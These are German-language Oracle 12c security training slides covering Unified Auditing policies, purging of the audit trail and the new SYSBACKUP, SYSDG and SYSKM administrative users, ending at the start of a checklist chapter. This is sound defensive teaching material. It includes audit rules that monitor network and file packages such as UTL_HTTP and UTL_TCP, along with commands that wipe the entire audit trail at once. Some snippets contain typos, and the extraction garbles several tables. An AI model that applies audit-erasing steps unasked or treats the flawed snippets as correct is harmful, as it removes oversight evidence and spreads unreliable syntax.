('muenchen1','muenchen2')'
EVALUATE PER SESSION;
Stichwörter: Unified Auditing; WHEN
Security II 8 - 14
Audit aktivieren
AUDIT { POLICY policy [ { BY user [, user]... } |
{ EXCEPT user [, user]... } ]
[ WHENEVER [ NOT ] SUCCESSFUL ] } |
{ CONTEXT NAMESPACE namespace ATTRIBUTES
attribute [, attribute ]...
[, CONTEXT NAMESPACE namespace ATTRIBUTES
attribute [, attribute ]... ]... [ BY user [, user]... ] } ;
Beispiel:
AUDIT POLICY table_poli;
AUDIT POLICY dml_poli BY scott,marco;
AUDIT POLICY dml_poli EXCEPT hans,hilde;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; aktivieren
Security II 8 - 15
Security II 8-15
Audit deaktivieren
NOAUDIT { POLICY policy |
CONTEXT NAMESPACE namespace
attribute [, attribute ]...
CONTEXT NAMESPACE namespace
attribute [, attribute ]...
[ BY user [, user]... ] ;
ATTRIBUTES
[,
ATTRIBUTES
]... }
Beispiel:
NOAUDIT POLICY table_poli;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; deaktivieren
Security II 8 - 16
Security II 8-16
Unified Auditing Beispiele
Beispiele:
CREATE
DELETE
INSERT
UPDATE
ALL
AUDIT POLICY dml_poli ACTIONS
on scott.emp,
on scott.emp,
on scott.emp,
on scott.dept;
AUDIT POLICY dml_poli BY scott;
SELECT audit_option, audit_condition,
object_schema, object_name, object_type
FROM AUDIT_UNIFIED_POLICIES
WHERE policy_name='DML_POLI';
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Prüfen, welche Überwachungen eingeschaltet wurden:
• SELECT audit_option,audit_condition,
object_schema,object_name,object_type
FROM AUDIT_UNIFIED_POLICIES
WHERE policy_name='DML_POLI';
Stichwörter: Unified Auditing; Beispiele
Security II 8 - 17
Security II 8-17
Unified Auditing Beispiele
Überwachung der Rolle Resource durch Benutzer marco:
CREATE AUDIT POLICY aud_marco
ROLES RESOURCE
WHEN q'!SYS_CONTEXT('USERENV', 'MODULE') <>
('MARCO')!'
EVALUATE PER STATEMENT ;
Überwachung für alle Benutzer bis auf Marco
durchführen:
AUDIT POLICY aud_marco EXCEPT marco;
Überwachung für alle Benutzer bei nicht erfolgreicher
Aktion durchführen:
AUDIT POLICY aud_marco WHENEVER NO SUCCESSFUL;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 18
Security II 8-18
Unified Auditing Beispiele für Privilegien
Beispiele (Wann hat jemand diese Rechte genutzt?):
CREATE AUDIT POLICY table_poli
PRIVILEGES
SELECT ANY TABLE,
CREATE ANY TABLE,
DROP
ANY TABLE;
AUDIT POLICY table_poli BY scott;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-19
Weitere Beispiele:
Prüfen, welche Überwachungen eingeschaltet wurden:
SELECT * FROM audit_unified_policies
WHERE policy_name
IN ('TABLE_POLI','DML_POLI');
Prüfen ob jemand ausser Benutzer 101,105 oder 110 DML Befehle auf der EMP
Tabelle durchgeführt hat:
CREATE AUDIT POLICY emp_updates_pol
ACTIONS
DELETE on scott.emp,
INSERT on scott.emp,
UPDATE on scott.emp
WHEN 'UID NOT IN (101, 105, 110)'
EVALUATE PER STATEMENT;
Stichwörter: Unified Auditing; Privilegien
Security II 8 - 19
Interessante Privilegien zum Audit
CREATE USER
CREATE LIBRARY
ALTER USER
CREATE PUBLIC SYNONYM
CREATE DATABASE LINK
DROP TABLESPACE
ALTER DATABASE LINK
DROP ANY TABLE
ALTER SESSION
DROP USER
ALTER SYSTEM
EXEMPT ACCESS POLICY
AUDIT ANY
EXEMPT DDL REDACTION POLICY
AUDIT SYSTEM
EXEMPT DML REDACTION POLICY
BECOME USER
EXEMPT IDENTITY POLICY
CREATE ANY DIRECTORY
EXEMPT REDACTION POLICY
CREATE ANY JOB
EXPORT FULL DATABASE
CREATE EXTERNAL JOB
GRANT ANY OBJECT PRIVILEGE
CREATE JOB
GRANT ANY PRIVILEGE
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Weitere:
GRANT ANY ROLE
INHERIT ANY PRIVILEGES
MANAGE SCHEDULER
RESTRICTED SESSION
SELECT ANY TABLE
Stichwörter: Unified Auditing; Privilegien
Security II 8 - 20
Security II 8-20
Unified Autiting Beispiele für Packages
Beispiele:
Überwachen, ob SYS Rechte an
UTL_FILE/UTL_TCP/UTL_SMTP vergibt:
CREATE AUDIT POLICY dbms_utl_grants
ACTIONS
GRANT ON UTL_FILE,
GRANT ON UTL_TCP
GRANT ON UTL_SMTP;
AUDIT POLICY dbms_utl_grants BY SYS;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Weitere Beispiele:
Prüfen, welche Überwachungen eingeschaltet wurden:
SELECT * FROM audit_unified_policies
WHERE policy_name
IN ('TABLE_POLI','DML_POLI');
Stichwörter: Unified Auditing; Packages
Security II 8 - 21
Security II 8-21
Lohnenswerte Packages für die Überwachung
UTL_FILE
DBMS_FGA
UTL_SMTP
DBMS_RLS
APEX_MAIL
DBMS_CRYPTO
UTL_HTTP
DBMS_JOB
UTL_TCP
DBMS_SCHEDULER
UTL_INADDR
DBMS_SQL
DBMS_SYS_SQL
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; Monitoring
Security II 8 - 22
Security II 8-22
Beispiel: Packageüberwachung
CREATE AUDIT POLICY MUSO_PACKAGE_POLICY
ACTIONS
EXECUTE ON sys.utl_file,
EXECUTE ON sys.utl_smtp,
EXECUTE ON sys.utl_http,
EXECUTE ON sys.utl_tcp,
EXECUTE ON sys.utl_inaddr,
EXECUTE ON sys.dbms_fga,
EXECUTE ON sys.dbms_rls,
EXECUTE ON sys.dbms_crypto,
EXECUTE ON sys.dbms_job,
EXECUTE ON sys.dbms_scheduler;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 23
Security II 8-23
Audit auf Objekte
Recht \ Objekt
Table
View
Seq
uence
Procedure
Trigger
Func
tion
Pack
age
Material.
View
Direc
tory
Object
Type
Java
Obj
ALTER
AUDIT
COMMENT
DELETE
EXECUTE
FLASHBACK
GRANT
INDEX
INSERT
LOCK
RENAME
READ
SELECT
UPDATE
WRITE
*
* Fehlt in der Doku 12.1.0.2, funktioniert aber.
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 24
Security II 8-24
Unified Autiting Bsp für Rollenbenutzung
Rolle anlegen und Rechte vergeben:
CREATE ROLE min_role;
GRANT create tablespace TO min_role;
GRANT MIN_ROLE, create session to scott;
Überwachen, wer die Rolle min_role verwendet hat:
CREATE AUDIT POLICY aud_role_pol
ROLES min_role;
AUDIT POLICY min_role WHENEVER SUCCESSFUL;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 25
Security II 8-25
Unified Autiting Beispiele (f)
Lesezugriffe auf Directory DATA_PUMP_DIR überwachen:
CREATE AUDIT POLICY read_dir_pol ACTIONS
READ ON DIRECTORY data_pump_dir;
Alle RDBMS Aktivitäten überwachen:
CREATE AUDIT POLICY all_actions_pol ACTIONS ALL;
Hinweis: RMAN Aktivitäten werden immer automatisch
überwacht:
SELECT dbusername, rman_operation
FROM unified_audit_trail
WHERE rman_operation IS NOT NULL;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-26
Syntax:
• CREATE AUDIT POLICY <policy_name> ACTIONS
COMPONENT=DATAPUMP { EXPORT | IMPORT | ALL };
Beispiel: Datapump Export überwachen:
• CREATE AUDIT POLICY audit_expdp_pol
ACTIONS COMPONENT=DATAPUMP EXPORT;
• AUDIT POLICY audit_expdp_pol;
Auswerten der Überwachung:
• SELECT DP_TEXT_PARAMETERS1, DP_BOOLEAN_PARAMETERS1
FROM UNIFIED_AUDIT_TRAIL
WHERE AUDIT_TYPE = 'DATAPUMP';
Stichwörter: Unified Auditing; Beispiele
Security II 8 - 26
SQL*Loader mittels AUDIT überwachen
Syntax:
CREATE AUDIT POLICY <policy_name> ACTIONS
COMPONENT=DIRECT_LOAD { LOAD };
Beispiel:
CREATE AUDIT POLICY audit_sqlldr_pol ACTIONS
COMPONENT=DIRECT_LOAD LOAD;
AUDIT POLICY audit_sqlldr_pol;
Überwachung:
SELECT DBUSERNAME, ACTION_NAME, OBJECT_SCHEMA,
OBJECT_NAME, DIRECT_PATH_NUM_COLUMNS_LOADED
FROM UNIFIED_AUDIT_TRAIL
WHERE AUDIT_TYPE = 'DIRECT PATH API';
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; SQL*LOADER; Monitoring
Security II 8 - 27
Security II 8-27
Vordefinierte Policies
ORA_SECURECONFIG (eingeschaltet !!)
Entspricht den aus Oracle Database 11g bekannten Defaults
Ausschalten: NOAUDIT POLICY ORA_SECURECONFIG;
ORA_ACCOUNT_MGMT (disabled)
CREATE / ALTER / DROP USER
CREATE / ALTER / DROP / SET ROLE
GRANT, REVOKE
ORA_DATABASE_PARAMETER (disabled)
ALTER DATABASE
ALTER SYSTEM
CREATE SPFILE
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Folgende Komponenten lassen sich auditieren:
• Data Pump
• Database Vault
• Data Mining
• Label Security
• Real Application Security
• SQL Loader direct loads
Hinweis:
• Auditing des RMAN wird über den RMAN selbst gesteuert
Security II 8 - 28
Security II 8-28
Audits abändern
Eine bestehende AUDIT Policy kann erweitert oder
reduziert werden:
ALTER AUDIT POLICY <policy_name>
[ADD [privilege_audit_clause]
[action_audit_clause] [role_audit_clause]]
[DROP [privilege_audit_clause]
[action_audit_clause] [role_audit_clause]]
[CONDITION {DROP | audit_condition
EVALUATE PER {STATEMENT|SESSION|INSTANCE}}]
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-29
Weitere Syntax:
ADD privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]
ADD action_audit_clause := {standard_actions | component_actions}
standard_actions := ACTIONS action1 [ ON {schema.obj_name |
DIRECTORY directory_name |
MINING MODEL schema.obj_name } ]
[, action2 [ ON {schema.obj_name |
DIRECTORY directory_name |
MINING MODEL schema.obj_name } ]
{ADD|DROP}
role_audit_clause := ROLES role1 [, role2]
CONDITION 'audit_condition := function operation value_list' EVALUATE PER
{STATEMENT|SESSION|INSTANCE}
Stichwörter: Unified Auditing; Policy
Security II 8 - 29
Beispiele zu Audits abändern
Zur Policy tab_audpol wird die Überwachung des
Rechners "Bluemchen" hinzugefügt, wenn er einen Insert
auf die dept Tabelle durchführt:
ALTER AUDIT POLICY tab_audpol
ADD ACTIONS INSERT ON SCOTT.DEPT
CONDITION q'!SYS_CONTEXT('HOST', 'MY_HOST') =
'BLUEMCHEN'!'
EVALUATE PER SESSION;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; Policy
Security II 8 - 30
Security II 8-30
Audit auswerten
SELECT TO_CHAR(EVENT_TIMESTAMP,'DD.MM.YY Hh24:MI:SS') AS
EVENT_TIMESTAMP,OS_USERNAME,DBUSERNAME,substr(client_pro
gram_name,1,30) client_prg,
action_name,object_name,sql_text,system_privilege_used
FROM UNIFIED_AUDIT_TRAIL
order by 1 desc;
Hinweis: In der View V$UNIFIED_AUDIT_TRAIL ist die Datumsspalte im GMT
Format gespeichert (-1 bzw -2 Stunden zu unserer Zeit !)
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; Auswerten
Security II 8 - 31
Security II 8-31
Unified Audit Tabellenspalten (Auswahl)
Spalte
Beschreibung
Spalte
Beschreibung
os_username
Nutzer im BS
return_code
Fehler wenn <>0
userhost
Rechnername
transaction_id
Id der Transaction
terminal
Terminalname
scn
System Change Nr.
dbid
Id der DB
object_schema
beteil. Schema
authentication_
type
Listener Verbindungs
Daten
object_name
Name des DB Objekts
dbusername
DB Benutzer
sql_text
Auditierter Befehl
client_program_
name
Name des Client
Programs
system_
privilege_used
Verwendetes Privileg
event_timestamp
Aufzeichnungszeit
unified_audit_
policies
Durch welche Policies
wurde aufgezeichnet ?
action_name
Was wurde auditiert
audit_type
Aufzeichnungstyp
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 32
Security II 8-32
AUDIT_TYPE
Folgende AUDIT_TYPE Werte können aufgezeichnet
werden:
Standard
FineGrainedAudit
XS
Database Vault
Label Security
RMAN_AUDIT
Datapump
Direct path API
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 33
Security II 8-33
Audit löschen
Sie löschen ein bestehendes Audit mittels:
DROP AUDIT POLICY <policy_name>;
Beispiel:
DROP AUDIT POLICY dml_pol;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; löschen
Security II 8 - 34
Security II 8-34
Audit Einträge zeitgesteuert löschen
Job erstellen, der alle 96 Stunden Audit Einträge löscht:
BEGIN
DBMS_AUDIT_MGMT.CREATE_PURGE_JOB (
AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
AUDIT_TRAIL_PURGE_INTERVAL => 96,/*Start alle 96 Stunden*/
AUDIT_TRAIL_PURGE_NAME
=> 'AUDIT_CLEANUP',
USE_LAST_ARCH_TIMESTAMP
=> TRUE,
CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT);
END;
use_last_arch_timestamp:
TRUE: Alle Audit Einträge vor dem letzten Zeitstempel archivieren
(Siehe Spalte last_archive_ts in DBA_AUDIT_MGMT_ARCH_TS)
FALSE: Alle Einträge löschen
Sie können das Intervall ändern mittels:
DBMS_AUDIT_MGMT.SET_PURGE_JOB_INTERVAL
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-35
AUDIT_TRAIL_TYPE kann vom Typ sein:
DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD: Standard Audit Tabelle aud$
DBMS_AUDIT_MGMT.AUDIT_TRAIL_FGA_STD: Fine Grain Auditing Tabelle fga_log$
DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD: Beide Tabellen aud$ und fga_log$
DBMS_AUDIT_MGMT.AUDIT_TRAIL_OS: Dateien im OS mit Endung .aud (Windows verwendet das
Eventlog und dort wird nicht gelöscht)
DBMS_AUDIT_MGMT.AUDIT_TRAIL_XML: XML Audit Dateien im OS
DBMS_AUDIT_MGMT.AUDIT_TRAIL_FILES: .AUD und .XML Dateien im OS
DBMS_AUDIT_MGMT.AUDIT_TRAIL_ALL: Alle Audit Informationen (Dateien und Tabellendaten)
DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED: Für Unified Auditing (ab 12c)
Hinweis:
Alternativ können Sie auch einen Zeitpunkt festlegen, wo Audit Daten, die älter sind, gelöscht werden:
BEGIN
DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP(
audit_trail_type
=> DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
last_archive_time
=> TO_TIMESTAMP('09-AUG-2014 12:11:10.00','DD-MON-RRRR
HH24:MI:SS.FF'));
DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(
audit_trail_type
=> DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
use_last_arch_timestamp => TRUE);
END;
/
Stichwörter: Unified Auditing; löschen
Security II 8 - 35
Audit Einträge manuell löschen
Unified Audit Einträge vor dem letzten Zeitstempel sofort löschen:
BEGIN
DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(
AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
USE_LAST_ARCH_TIMESTAMP => TRUE,
CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT );
END;
Container wird in der Pluggable Database verwendet und kann
folgende Werte annehmen:
dbms_audit_mgmt.container_current: Nur für aktuellen container
dbms_audit_mgmt.container_all: Für alle Container
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Folgende AUDIT_TRAIL_TYPE Einträge werden unterstützt:
AUDIT_TRAIL_UNIFIED
Für das normale Audit Trail gibt es weiterhin die Typen:
AUDIT_TRAIL_AUD_STD
AUDIT_TRAIL_FGA_STD
AUDIT_TRAIL_DB_STD (both AUD + FGA)
AUDIT_TRAIL_OS
AUDIT_TRAIL_XML
AUDIT_TRAIL_FILES (both OS & XML)
AUDIT_TRAIL_ALL
Weiteres Beispiel:Unified Audit Trail sofort komplett löschen:
BEGIN
DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL(
audit_trail_type
=>
DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
use_last_arch_timestamp => FALSE);
END;
/
Stichwörter: Unified Auditing; löschen
Security II 8 - 36
Security II 8-36
Audit Einträge löschen in Read Only DB
Ab Version 12.1.0.2 können auch in einer Read Only Datenbank
alte Audit Einträge gelöscht werden
Beide Packageaufrufe sind nutzbar:
DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP
DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL
Neu hinzugekommen sind
DBMS_AUDIT_MGMT.GET_AUDIT_TRAIL_PROPERTY_VALUE
(Zur Betrachtung der Parameter aus dem Speicher)
DBMS_AUDIT.MGMT.GET_LAST_ARCHIVE_TIMESTAMP (Zum
Auslesen des Zeitstempels für Löscheoperationen)
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-37
Hinweis:
Jedoch sind weiterhin folgende Packages in einer Read Only DB nicht verfügbar:
•AUDIT_TRAIL_AUD_STD
•AUDIT_TRAIL_FGA_STD
•AUDIT_TRAIL_DB_STD
•AUDIT_TRAIL_ALL
Security II 8 - 37
Mandatory Auditing
Startup Kommandos oder Befehle, die abgesetzt werden, wenn
die Datenbank nicht zum Schreiben zur Verfügung steht,
werden auf der Betriebssystemebene erfasst
$ORACLE_BASE/audit/$ORACLE_SID (Endung *.bin)
Die Audit Daten können später in die Datenbank geladen werden
DBMS_AUDIT_MGMT.LOAD_UNIFIED_AUDIT_FILES
•
Nur SYS und AUDIT_ADMIN haben Ausführungsberechtigung für das
Package DBMS_AUDIT_MGMT
•
Jede Ausführung des Package wird auditiert
Nach dem Laden der .bin Dateien in die Datenbank, sollten
Sie im Betriebssystem gelöscht werden (in 12.1.0.2 hatten
wir aber einige Leichen weiter dort liegen ☺ )
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
• Laden großer Datenmengen beeinflusst eventuell die DB Performance
• Aufzeichnung aller Befehle, die Auditing Verhalten beeinflussen
• Befehle, die die Konfiguration von Database Vault beeinflussen
Security II 8 - 38
Security II 8-38
Audit Views
View Name
Beschreibung
USER_/ALL_/DBA_AUDIT_POLICIES
Alle Fine Grain Audit Policies für Benutzer/DBA
ALL_DEF_AUDIT_OPTS
Objekte Audits für neu zu erstellende Objekte
AUDIT_UNIFIED_CONTEXTS
App Context für Audit Trail
AUDIT_UNIFIED_ENABLED_POLICIES
Alle eingeschaltenen Audit Policy
AUDIT_UNIFIED_POLICIES
Alle existierenden Audit Policy
AUDIT_UNIFIED_POLICY_COMMENTS
Kommentare für Audit Policy
AUDITABLE_SYSTEM_ACTIONS
Auditierbare System Action zu Aktionsnamen
CDB_UNIFIED_AUDIT_TRAIL
Für Root Container einer CDB: Wie
UNIFIED_AUDIT_TRAIL, aber für alle PDB
DBA_XS_AUDIT_TRAIL
Audit Trail Infos für Real Application Security
UNIFIED_AUDIT_TRAIL
Anzeige aller Audit Einträge
V$UNIFIED_AUDIT_TRAIL
Anzeige aller Audit Einträge aus Speicher
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
SELECT * FROM AUDIT_UNIFIED_ENABLED_POLICIES;
SELECT * FROM AUDIT_UNIFIED_POLICIES;
Management Views:
SELECT * FROM DBA_AUDIT_MGMT_CONFIG_PARAMS;
:
Stichwörter: Unified Auditing; Views
Security II 8 - 39
Security II 8-39
Kapitel
9
Security
Security II 9-1
Neue Benutzer
APEX_040200 (APEX Entwicklungsbenutzer für Version 4.2 ohne
Patch 4.2.5 !)
AUDSYS (Benutzer für Unified Audit zum Speichern von Audit Trail
Records)
OJVMSYS (Oracle Java VM Benutzer)
SYSDG (zum Ausführen von Data Guard Operationen)
SYSBACKUP (für die Benutzung des RMAN)
SYSKM (Benutzer für Transparent Data Encryption)
MuniQSoft GmbH
Kapitel 9 - Security
Gelöschte Benutzer:
CTXSYS (Context Benutzer)
MGMT_VIEW (Enterprise Manager
SYSMAN (Enterprise Manager)
Stichwörter: Benutzer
Security II 9-2
Security II 9-2
Neue Parameter für Passwort-Datei
Usage: orapwd file=<fname> entries=<users> force=<y/n> ignorecase=<y/n>
asm=<y/n> dbuniquename=<dbname> extended=<y/n> sysbackup=<y/n>
sysdg=<y/n>
where
file - name of password file (required),
password - password for SYS will be prompted if not specified at command line,
entries - maximum number of distinct DBA (optional),
force - whether to overwrite existing file (optional),
ignorecase - passwords are case-insensitive (optional),
asm - indicates that the password to be stored in Automatic Storage Management (ASM)
disk group is an ASM password. (optional).
dbuniquename - unique database name used to identify database password files residing
in ASM diskgroup only. Ignored when asm option is specified (optional),
extended - use the extended format for SYSBACKUP, SYSDG, and SYSKM support and for
longer identifiers (optional),
sysbackup - create SYSBACKUP entry (optional and requires the the extended format)
sysbackuppwd - password for SYSBACKUP will be prompted if not specified at command
line,
sysdg - create SYSDG entry (optional and requires the extended format),
sysdgpwd - password for SYSDG will be prompted if not specified at command line.
MuniQSoft GmbH
Kapitel 9 - Security
Stichwörter: Passwort-Datei
Security II 9-3
Security II 9-3
System Benutzer in der Passwortdatei
GRANT SYSOPER TO muso_sysoper IDENTIFIED BY p;
GRANT SYSASM TO muso_sysasm IDENTIFIED BY p; -- In ASM !
GRANT SYSBACKUP TO muso_sysbackup IDENTIFIED BY p;
GRANT SYSDG TO muso_sysdg IDENTIFIED BY p;
GRANT SYSKM TO muso_syskm IDENTIFIED BY p;
SELECT * FROM v$pwfile_users;
MuniQSoft GmbH
Kapitel 9 - Security
Welche Rechte haben die neuen Benutzer: SYSBACKUP:
•STARTUP / SHUTDOWN
•DELETE/INSERT
•ALTER DATABASE
• SYS.APPLY$_SOURCE_SCHEMA
•ALTER SYSTEM
• SYSTEM.LOGSTDBY$PARAMETERS
•ALTER SESSION
•EXECUTE
•ALTER TABLESPACE
• SYS.DBMS_BACKUP_RESTORE
•CREATE CONTROLFILE
• SYS.DBMS_RCVMAN
•CREATE ANY DIRECTORY
• SYS.DBMS_DATAPUMP
•CREATE ANY TABLE
• SYS.DBMS_IR
•CREATE ANY CLUSTER
• SYS.DBMS_PIPE
•CREATE PFILE
• SYS.SYS_ERROR
•CREATE RESTORE POINT (inclusive
• SYS.DBMS_TTS
GUARANTEED restore points)
• SYS.DBMS_TDB
•CREATE SESSION
• SYS.DBMS_PLUGTS
•CREATE SPFILE
• SYS.DBMS_PLUGTSP
•DROP DATABASE
• SELECT_CATALOG_ROLE
•DROP TABLESPACE
•DROP RESTORE POINT (inclusive
GUARANTEED restore points)
•FLASHBACK DATABASE
•RESUMABLE
•UNLIMITED TABLESPACE
•SELECT ANY DICTIONARY
•SELECT ANY TRANSACTION
•SELECT
• X$ tables (fixed tables)
• V$ and GV$ views (dynamic performance views)
• APPQOSSYS.WLM_CLASSIFIER_PLAN
• SYSTEM.LOGSTDBY$PARAMETERS
Stichwörter: Passwort-Datei, Neue System Benutzer; SYSBACKUP
Security II 9-4
Security II 9-4
Übersicht der Rechte pro Benutzer
Startup/
Shutdown
ALTER DB
OPEN
MOUNT
BACKUP
ARCHIVE LOG
RECOVER
DB
SELECT
auf APP
Tabellen
CHANGE
CHARACTER
SET
CREATE,
DROP DB
CREATE
SPFILE
RESTRICTED
SESSION
SYSDBA
(ab 8.0)
Schema/
Grund
Privilegien
SYS
Vollständig
SYSOPER
(ab 8.0)
PUBLIC
CREATE
SYSBACKUP
(ab 12.1)
SYSBACK
UP
SYSDG
(ab 12.1)
SYSDG
SYSKM
(ab 12.1)
SYSKM
Die drei neuen Benutzer können nicht mehr gelöscht
werden
MuniQSoft GmbH
Kapitel 9 - Security
Welche Rechte haben die neuen Benutzer: SYSDG
•STARTUP / SHUTDOWN
•ALTER DATABASE
•ALTER SESSION
•ALTER SYSTEM
•CREATE RESTORE POINT (including GUARANTEED restore points)
•CREATE SESSION
•DROP RESTORE POINT (including GUARANTEED restore points)
•FLASHBACK DATABASE
•SELECT ANY DICTIONARY
•SELECT
• X$ tables (fixed tables)
• V$ and GV$ views (performance views)
• APPQOSSYS.WLM_CLASSIFIER_PLAN
•DELETE
• APPQOSSYS.WLM_CLASSIFIER_PLAN
•EXECUTE
•
SYS.DBMS_DRS
Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG
Security II 9-5
Security II 9-5
SYSDBA Ersatz
Für bestimmte administrative Aufgaben stehen nun
abgeschwächte Rechte zur Verfügung:
SYSBACKUP
für Backup & Recovery Aufgaben mittels RMAN oder
SQL*Plus
rman target '"sys/sys as sysbackup"'
SYSDG
zur Verwaltung des Oracle Data Guard oder des dgmgrl
Tools
SYSKM
zur Verwaltung des Encryption Key Managements
(Transparent Data Encryption Wallet)
MuniQSoft GmbH
Kapitel 9 - Security
Security II 9-6
Welche Rechte haben die neuen Benutzer: SYSKM
•ADMINISTER KEY MANAGEMENT
•CREATE SESSION
•SELECT (nur wenn DB geöffnet ist)
• SYS.V$ENCRYPTED_TABLESPACES
• SYS.V$ENCRYPTION_WALLET
• SYS.V$WALLET
• SYS.V$ENCRYPTION_KEYS
• SYS.V$CLIENT_SECRETS
• SYS.DBA_ENCRYPTION_KEY_USAGE
Zusätzlich erlaubt das SYSKM eine Anmeldung an einer nicht gestarteten DB
Stichwörter: SYSKM
Security II 9-6
Anmeldung als SYSBACKUP
sqlplus sys/sys as sysbackup
Welche SYSTEM-Rechte besitzt man nun ?
SYSBACKUP
CREATE ANY CLUSTER
SELECT ANY TRANSACTION
CREATE ANY TABLE
SELECT ANY DICTIONARY
UNLIMITED TABLESPACE
RESUMABLE
DROP TABLESPACE
CREATE ANY DIRECTORY
ALTER TABLESPACE
ALTER DATABASE
ALTER SESSION
AUDIT ANY
ALTER SYSTEM
Welche Objektrechte hat man ?
SQL> select * from scott.emp;
ORA-01031: insufficient
privileges
Bis auf Verwaltungstabellen keine
MuniQSoft GmbH
Kapitel 9 - Security
Security II 9-7
Anmeldung beim RMAN
% rman
RMAN> CONNECT TARGET "mysys@prod AS SYSBACKUP"
target database Password:
connected to target database: O12C (DBID=3443393097)
Laut Handbuch sollte auch folgende Anmeldung funktionieren (leider stimmt das nicht
ganz (Stand Jan 2014)):
rman target='sys/sys as sysdba' und
rman target='sys/sys as sysbackup'
Denn auch Folgendes akzeptiert der RMAN unter Windows anstandslos:
rman target='sysi/sys as sysbackupi'
Stichwörter: Benutzer; SYSBACKUP
Security II 9-7
Erweitertes CREATE USER Kommando
CREATE USER c##scott
IDENTIFIED BY tiger
DEFAULT TABLESPACE users
QUOTA 100M ON test_ts QUOTA 500K ON data_ts
TEMPORARY TABLESPACE temp_ts
PROFILE def_profile
CONTAINER = CURRENT| ALL;
CONTAINER = CURRENT : Für lokalen Benutzer in lokaler
PDB, bei der man angemeldet ist
CONTAINER = ALL : Wenn man an der CDB$ROOT
angemeldet ist muss Benutzername mit c## beginnen
MuniQSoft GmbH
Kapitel 9 - Security
Security II 9-8
Hinweis
Wenn ein Common User erstellt wurde, müssen in allen Containern (PDBs) die
folgenden Objekte die refernziert wurden auch vorhanden sein:
•DEFAULT TABLESPACE
•TEMPORARY TABLESPACE
•QUOTA
•PROFILE
Stichwörter: Create
Security II 9-8
Benutzer anlegen in CDB
Benutzer, die in einer Container DB auf PDB$SEED
angelegt werden, müssen mit dem Prefix c## oder C##
beginnen
Beispiel:
CREATE USER c##comm_user
IDENTIFIED BY comm_pwd
DEFAULT TABLESPACE users QUOTA 32M ON users
TEMPORARY TABLESPACE temp
PROFILE comm_prof;
Die Tablespaces users und temp und das Profile
comm_prof müssen in allen Containern, die zur DB
gehören existieren
MuniQSoft GmbH
Kapitel 9 - Security
Security II 9-9
CREATE USER Klausel ab 12c:
CREATE USER user IDENTIFIED { BY password | EXTERNALLY [ AS
'certificate_DN' | AS 'kerberos_principal_name' ] | GLOBALLY [
AS '[ directory_DN ]' ] }
[ DEFAULT TABLESPACE tablespace | TEMPORARY TABLESPACE {
tablespace | tablespace_group_name } | { QUOTA { size_clause |
UNLIMITED } ON tablespace }... |
PROFILE profile | PASSWORD EXPIRE | ACCOUNT { LOCK | UNLOCK } |
ENABLE EDITIONS |
CONTAINER = { CURRENT | ALL } ]... ] ;
Stichwörter: Create, Benutzer
Security II 9-9
Fehlerhafter Login / Login Zeit
Nach einer falschen Passworteingabe in SQL*Plus erhält
man nach erfolgreicher Anmeldung
Die letzte Login Zeit wird in user$ aufgezeichnet und
beim nächsten Anmelden bei SQL*Plus angezeigt.
MuniQSoft GmbH
Kapitel 9 - Security
Stichwörter: Login
Security II 9-10
Security II 9-10
Oracle Maintained Rollen/Benutzer
Oracle dokumentiert, welche Rollen und Benutzer durch
die Standardskripten erstellt wurden und welche vom
Benutzer manuell angelegt wurden
Welche Rechte/Rollen wurden nicht von Oracle erzeugt ?
SELECT username FROM dba_users
WHERE oracle_maintained = 'N';
SELECT role
FROM dba_roles
WHERE oracle_maintained = 'N';
MuniQSoft GmbH
Kapitel 9 - Security
Stichwörter: Rollen, Benutzer
Security II 9-11
Security II 9-11
Kapitel 10
Checkliste
Einleitung
Die nachfolgende Checkliste sollen Ihnen helfen, Ihre
Datenbank sicherer zu machen
Wir haben uns auf die wichtigsten Punkte beschränkt
MuniQSoft GmbH
Kapitel 10 - Checkliste
